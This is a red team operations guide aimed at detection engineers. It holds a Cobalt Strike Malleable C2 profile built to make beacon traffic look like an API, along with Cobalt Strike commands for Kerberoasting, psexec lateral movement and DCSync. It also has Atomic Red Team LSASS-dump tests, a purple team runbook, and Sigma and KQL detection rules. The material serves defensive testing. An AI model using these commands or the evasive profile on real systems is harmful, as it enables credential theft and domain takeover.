Red Team Operations

A red team engagement simulates a real threat actor to test the organization's detection, response, and resilience capabilities. Unlike a penetration test (which tests what can be compromised), a red team tests whether the blue team can detect and respond. The engagement produces a detection report as its primary deliverable: which actions were taken, which were detected, which gaps exist. From the detection engineer's perspective, red team findings drive rule creation and coverage improvements.

Operation Planning

OPSEC and Tradecraft

Cobalt Strike Operational Usage

// Cobalt Strike Malleable C2 profile — minimize beacon fingerprint:
set sleeptime "60000";
set jitter    "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

http-get {
    set uri "/api/v1/telemetry";
    client {
        header "Accept" "application/json";
        header "Cache-Control" "no-cache";
        metadata {
            base64url;
            prepend "token=";
            header "Authorization";
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64url;
            prepend "{\"data\":\"";
            append "\"}";
            print;
        }
    }
}

http-post {
    set uri "/api/v1/status";
    client {
        header "Content-Type" "application/json";
        id {
            base64url;
            prepend "{\"id\":\"";
            append "\"";
        }
        output {
            base64url;
            append "}";
            print;
        }
    }
}

// Cobalt Strike commands used in engagement:
// shell whoami /all                         → local priv check
// execute-assembly SharpHound.exe -c All    → BloodHound collection
// execute-assembly Rubeus.exe kerberoast    → Kerberoasting (no disk write)
// jump psexec64 TARGET beacon.exe           → lateral movement
// dcsync corp.local DOMAIN\krbtgt          → DCSync (DA only)

Atomic Red Team for Detection Testing

# Atomic Red Team: small, self-contained test cases per ATT&CK technique
# Each "atomic test" executes ONE technique behavior and cleans up after itself
# Used for: verifying detection rules fire, not full engagement simulation

# Install:
# Install-Module -Name invoke-atomicredteam
# Import-Module invoke-atomicredteam

# List available tests for a technique:
Invoke-AtomicTest T1003.001 -ShowDetailsBrief

# Execute specific test (LSASS dump via comsvcs.dll):
Invoke-AtomicTest T1003.001 -TestNumbers 1

# Cleanup after test:
Invoke-AtomicTest T1003.001 -TestNumbers 1 -Cleanup

# Execute and auto-cleanup in one step:
Invoke-AtomicTest T1003.001 -TestNumbers 1 -GetPrereqs -AutoCleanup

# Example: test Kerberoasting detection
Invoke-AtomicTest T1558.003 -TestNumbers 1

# After running: check SIEM/MDE to verify detection fired
# If detection DID NOT fire: rule is broken or telemetry source missing
# If detection fired: record true positive, validate alert content

# Run all TA0006 (Credential Access) tests in sequence:
$ta0006 = @("T1003.001","T1003.002","T1003.003","T1558.003","T1558.004","T1110")
foreach ($t in $ta0006) {
    Write-Host "Testing $t..."
    Invoke-AtomicTest $t -AutoCleanup
    Start-Sleep -Seconds 30  # wait for SIEM ingestion
}

Purple Team Exercise Structure

# Purple team = red + blue working together (transparent to both)
# Goal: maximize detection coverage, not test whether blue team catches red
# Each action is pre-announced to blue team → blue confirms it detected or did not

# Runbook format for each technique:
# 1. Red team executes T1003.001 (LSASS dump) on host A at T+00:00
# 2. Blue team checks at T+01:00: did alert fire?
# 3. If YES: record detection, move to next technique
# 4. If NO: red team shows exactly what was executed (command line, process, network)
#    Blue team investigates telemetry gap: is it a rule gap or a data gap?
# 5. If data present but rule missed: fix rule
# 6. If data absent: fix data source (enable Sysmon EID, EDR setting, etc.)
# 7. Re-execute technique after fix: confirm detection now fires

# Coverage tracking spreadsheet columns:
# Technique | Sub-technique | Test executed | Detection fired (Y/N) | Rule name | Gap type | Remediation

Detection Engineering

title: Red Team Detection — Cobalt Strike Default Beacon Artifact
logsource:
  product: windows
  service: sysmon
detection:
  named_pipe:
    EventID: 17  # PipeCreated
    PipeName|contains:
      - 'MSSE-'         # Cobalt Strike default SMB beacon pipe
      - 'postex_'       # post-exploitation pipe naming
      - 'msagent_'
  cs_artifact:
    EventID: 1
    Image|endswith: '\artifact.exe'
    CommandLine: ''
  condition: named_pipe or cs_artifact
level: critical
tags: [attack.execution, T1059, attack.tool.cobaltstrike]

-- MDE KQL: execute-assembly (CLR loaded into unusual process)
DeviceImageLoadEvents
| where FileName in~ ("clr.dll","clrjit.dll","mscoree.dll")
| where InitiatingProcessFileName !in~ (
    "powershell.exe","pwsh.exe","dotnet.exe","msbuild.exe",
    "csc.exe","vbc.exe","installutil.exe","notepad.exe"
  )
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, FileName

Q&A